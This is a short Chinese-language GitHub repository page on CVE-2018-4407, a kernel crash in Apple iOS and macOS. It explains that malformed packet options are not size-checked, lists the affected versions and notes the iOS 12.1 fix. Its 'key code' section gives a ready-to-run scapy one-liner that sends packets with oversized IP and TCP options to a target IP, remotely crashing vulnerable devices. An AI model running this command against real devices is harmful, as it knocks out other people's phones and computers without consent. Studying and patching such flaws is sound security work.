s2339956 / check_icmp_dos-CVE-2018-4407-

CVE-2018-4407 概述與實現

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

原理

原理就是把"icmp"包的其他字段弄成非法 macOS or iphone 内核解析時沒實作檢查大小造成 crash 了

設備

  1. Apple iOS 11及更早版本:所有設備

  2. Apple macOS High Sierra(受影響的最高版本為10.13.6):所有設備

  3. Apple macOS Sierra(受影響的最高版本為10.12.6):所有設備

  4. Apple OS X El Capitan及更早版本:所有設備

蘋果在10月30日推出的"iOS 12.1"更新包中徹底修復了這個漏洞

關鍵代碼

pip install scapy
sudo scapy send(IP(dst="Target IP",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

連結

中文解說
英文解說

About

CVE-2018-4407 概述與實現


Languages

Language:Python 100.0%